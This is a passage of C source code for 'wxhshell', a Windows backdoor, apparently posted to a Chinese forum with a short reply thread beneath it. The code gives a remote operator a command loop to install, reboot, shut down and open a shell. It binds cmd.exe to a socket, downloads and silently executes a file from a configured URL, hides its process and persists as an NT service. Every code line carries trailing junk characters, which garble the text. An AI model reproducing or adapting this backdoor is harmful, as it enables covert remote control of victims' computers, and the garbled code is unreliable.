  send(wsh,msg_ws_err,strlen(msg_ws_err),0); nn~YK  
  else B;zt#H4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); - Xupq/[,  
  } n$+M%}/f  
  else { '%iPVHK7  
)6oGF>o>  
    switch(cmd[0]) { 5a`%)K  
  |WQ9a' '  
  // 帮助 O_,O,1  
  case '?': { $Rtgr{ {;"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); o=+Z.-q  
    break; {+T/GBF-K=  
  } EYzg%\HH  
  // 安装 &V=7D#L  
  case 'i': { Se^^E.Z,W  
    if(Install()) >wON\N0V_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bi[7!VQf  
    else W.}].7}h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {eZ{]  
    break; D#rrW?-z  
    } HD`>-E#  
  // 卸载 "PWl4a&  
  case 'r': { x-m/SI]_N  
    if(Uninstall()) cgZaPw2 bw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?Hz2-Cn  
    else _GaJXWMbk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~5aE2w0K   
    break; $xW **&  
    } >9K//co"of  
  // 显示 wxhshell 所在路径 ROAI9sW0  
  case 'p': { `iixq9xi  
    char svExeFile[MAX_PATH]; a+z2Zd!u\x  
    strcpy(svExeFile,"\n\r"); >.%4~\U  
      strcat(svExeFile,ExeFile); )c<6Sfp^B  
        send(wsh,svExeFile,strlen(svExeFile),0); ~ 9M!)\~  
    break; pA4 ,@O  
    } ] f 7#N  
  // 重启 P'[<A Z  
  case 'b': { ?[1SiJT  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nfE@R."A  
    if(Boot(REBOOT)) N+Sq}hI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !$xu(D.  
    else { nB@UKX  
    closesocket(wsh); I 48VNX  
    ExitThread(0); Hcv u7uD  
    } TUTe9;)  
    break; 00<{:  
    } #uvJH8)D  
  // 关机 "dCzWFet  
  case 'd': { L]bVN)JU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <0j{ $.  
    if(Boot(SHUTDOWN)) Ol+Kp!ocY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pM$ @m]  
    else { @p!Q1-]=  
    closesocket(wsh); /^<en(0=P  
    ExitThread(0); !D:k!  
    } F @SG((`  
    break; *@M3p}',M  
    } %J P!{mqj  
  // 获取shell Da,Tav%b  
  case 's': { "kSwa16O  
    CmdShell(wsh); d<T%`:s<  
    closesocket(wsh); B@cz ?%]  
    ExitThread(0); 2i:zz? 'p`  
    break; L,M+sN  
  } WmVVR>0V|  
  // 退出 K8Zt:yP  
  case 'x': { 3 N%{B  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); tbG8MXX  
    CloseIt(wsh); sBjXE>_#)  
    break; 0X"\ a'M_  
    } uw_?O[ZA[  
  // 离开 %KV2< t?  
  case 'q': { #x)}29%e#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); i\x~iP&F$  
    closesocket(wsh); j$P I,`  
    WSACleanup(); TmP8 q  
    exit(1); x:-`o_Q*i  
    break; (V9h2g&8L  
        } ixI:@#5wY  
  } @YZ 4AC  
  } h}6_ybmZ  
tgN92Q.i6T  
  // 提示信息 #5{sglC"|F  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j%xBo:  
} Bw-s6MS  
  } K2|7%  
&oN/_7y  
  return; fM":f| G  
} P|}\/}{`  
E+{5-[Zc*$  
// shell模块句柄 *zQOJsg"e  
int CmdShell(SOCKET sock) l,bZG3,6  
{ K-@bwB7~s  
STARTUPINFO si; .TN2s\:]jw  
ZeroMemory(&si,sizeof(si)); l%PnB )F  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %$9:e J?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wZ>Y<0,  
PROCESS_INFORMATION ProcessInfo; =J3`@9;  
char cmdline[]="cmd"; ,cQA*;6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yQ-hnlzn~  
  return 0; Wo3'd|Y~i  
} n~%}Z[5D  
<%?uYCD  
// 自身启动模式 2PBepgQyPU  
int StartFromService(void) r$DZkMue  
{ 7A0dl}:  
typedef struct ZNy9_a:dX  
{ ITvHD-,\  
  DWORD ExitStatus; -tP.S1D  
  DWORD PebBaseAddress; |[WL2<  
  DWORD AffinityMask; Q X):T#^V  
  DWORD BasePriority; V.j#E 1P  
  ULONG UniqueProcessId; FO^24p  
  ULONG InheritedFromUniqueProcessId; ?*o;o?5s^  
}   PROCESS_BASIC_INFORMATION; R0IF'  
M,G8*HI"  
PROCNTQSIP NtQueryInformationProcess; ` ,-STIh)  
x!+Z{x   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }200g_^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #M:B3C!ouY  
1^sbT[%R  
  HANDLE             hProcess; I~k=3,7<  
  PROCESS_BASIC_INFORMATION pbi; yk#rd~2Z0  
4k*qVOBa6R  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %&1$~m0  
  if(NULL == hInst ) return 0; UzJ!Y/5  
AS q`)Rz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /&6Q)   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !PI0oh  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !qS05  
+{^'i P  
  if (!NtQueryInformationProcess) return 0; $w`veP  
ck~ '`<7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =W |vOfy  
  if(!hProcess) return 0; "c EvFY  
8J^d7uC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +7^w9G  
At|h t  
  CloseHandle(hProcess); ec1Fg0Fa  
8E-Ip>{>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c}'Xoc  
if(hProcess==NULL) return 0; 8x gc[#  
oFn4%S:  
HMODULE hMod; 8E=vR 8  
char procName[255]; `W="g6(  
unsigned long cbNeeded; ,i;9[4QMX  
`|JI\&z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'Ye]eL,I\  
F]0Jwm{  
  CloseHandle(hProcess); WS5"!vz   
- BjEL;  
if(strstr(procName,"services")) return 1; // 以服务启动 /rOnm=P+Q  
Y` q!V=  
  return 0; // 注册表启动 w&9F>`VET  
} d(\1 } l  
m]e0X*Kg  
// 主模块 vj(@.uU)  
int StartWxhshell(LPSTR lpCmdLine) sgD@}":m  
{ % dYI5U89  
  SOCKET wsl; Cl{{H]QngX  
BOOL val=TRUE; -$b?rt]h1g  
  int port=0; eA10xpM0  
  struct sockaddr_in door; 03] r*\  
x6jm -n  
  if(wscfg.ws_autoins) Install(); (\tq<h0  
FfjC M7?  
port=atoi(lpCmdLine); O2$!'!hz  
_3I3AG0e  
if(port<=0) port=wscfg.ws_port; @X|ok*v`  
<BQ%8}  
  WSADATA data; %{Xm5#m  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Le_CIk 5YL  
Od*v5qT;$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   P mC82"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); VBhE{4J  
  door.sin_family = AF_INET; ?3n=m%W,J*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); qPp]K?.  
  door.sin_port = htons(port); 2,+@# q  
rdFs?hO  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { pDP33`OFh  
closesocket(wsl); <%he  o  
return 1; rT o%=0P  
} 1X Q87~  
YBR)s\*  
  if(listen(wsl,2) == INVALID_SOCKET) { gca|?tt  
closesocket(wsl); s!bHS_\e|  
return 1; RLv&,$$0  
} rnJS[o0  
  Wxhshell(wsl); Qz'O{f  
  WSACleanup(); J&(  
p$B)^S%0i  
return 0; 7jhl0  
T3 =)F%  
} o:h)~[n|  
byp.V_a}/  
// 以NT服务方式启动 W5TqC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >Zi|$@7t-  
{ K~P76jAe$  
DWORD   status = 0; HE9. k.sS  
  DWORD   specificError = 0xfffffff; imC&pPBB/G  
FW/6{tm  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $4ka +nfU  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Pxap;;\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :p,c%"8  
  serviceStatus.dwWin32ExitCode     = 0; !d/`[9jY  
  serviceStatus.dwServiceSpecificExitCode = 0;  <Wp`[S]r  
  serviceStatus.dwCheckPoint       = 0; 9Y;}JVS  
  serviceStatus.dwWaitHint       = 0; <?{ SU   
~_ (!}V  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *{HGLl|=  
  if (hServiceStatusHandle==0) return; *sIi$1vHu  
h\Z3yAYd  
status = GetLastError(); hLu&lY  
  if (status!=NO_ERROR) o,iS&U"TC  
{ 4&#vU(-H  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; r7zf+a]  
    serviceStatus.dwCheckPoint       = 0; \ro~-n+o  
    serviceStatus.dwWaitHint       = 0; 44z=m MR<  
    serviceStatus.dwWin32ExitCode     = status; SZNFE  
    serviceStatus.dwServiceSpecificExitCode = specificError; ER0TY,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }Ox2olUX  
    return; Z`e$~n(Bh  
  } AEBw#v!,o  
*9\oD~2Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #1gTpb+t  
  serviceStatus.dwCheckPoint       = 0; 9 ?EY.}~  
  serviceStatus.dwWaitHint       = 0; LPtx|Sx![  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +# m   
} F[Qsv54  
C6Um6 X9/i  
// 处理NT服务事件,比如:启动、停止 ZS07_6.~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Rt*-#`I $  
{ eW<!^Aer  
switch(fdwControl) E;ndw/GZjR  
{ (\5<GCW-  
case SERVICE_CONTROL_STOP: Lx|w~+k}  
  serviceStatus.dwWin32ExitCode = 0; JI28}Cxs0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {'cs![U  
  serviceStatus.dwCheckPoint   = 0; FZ;Y vdX6  
  serviceStatus.dwWaitHint     = 0; uOy\{5s8  
  { }s8*QfK>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g;| n8]  
  } N9~'P-V  
  return; {FrHm  
case SERVICE_CONTROL_PAUSE:  ."$=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; BN bb&]  
  break; UFSEobhg&5  
case SERVICE_CONTROL_CONTINUE: pZNlcB[Qn-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?#');`  
  break; &@Ji+  
case SERVICE_CONTROL_INTERROGATE: bYRQI=gW':  
  break; p;)klH@X  
}; [C*X k{e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6"#Tvj~-8  
} y0W`E/1t  
?Vb=4B{~  
// 标准应用程序主函数 ^^U)WB  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) D(W7O>5vQ2  
{ t/4/G']W  
!YuON6{)  
// 获取操作系统版本 qX}dbuDE"P  
OsIsNt=GetOsVer(); `0/gs  
GetModuleFileName(NULL,ExeFile,MAX_PATH); LS?` {E   
>xk:pL*o`  
  // 从命令行安装 oQE_?">w  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3M5=@Fwkr  
^$^Vd@t>a  
  // 下载执行文件 c{r6a=C  
if(wscfg.ws_downexe) { p)AvG;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) NWq [22X |  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6Wcn(h8%*  
} s?z=q%-p  
oWn_3gzw;  
if(!OsIsNt) { D0"yZp}  
// 如果时win9x,隐藏进程并且设置为注册表启动 M\x7=*\  
HideProc(); 8I|1P l  
StartWxhshell(lpCmdLine); FZLzu  
} xfZ9&g  
else J^e|"0d  
  if(StartFromService()) S a#d?:L  
  // 以服务方式启动  Q}`2Y^.  
  StartServiceCtrlDispatcher(DispatchTable); )@};lmPR  
else 9=sMKc%!-  
  // 普通方式启动 lqwJ F &  
  StartWxhshell(lpCmdLine); b]s%B.h  
e=NQY8?  
return 0; (,Zz&3 AV  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五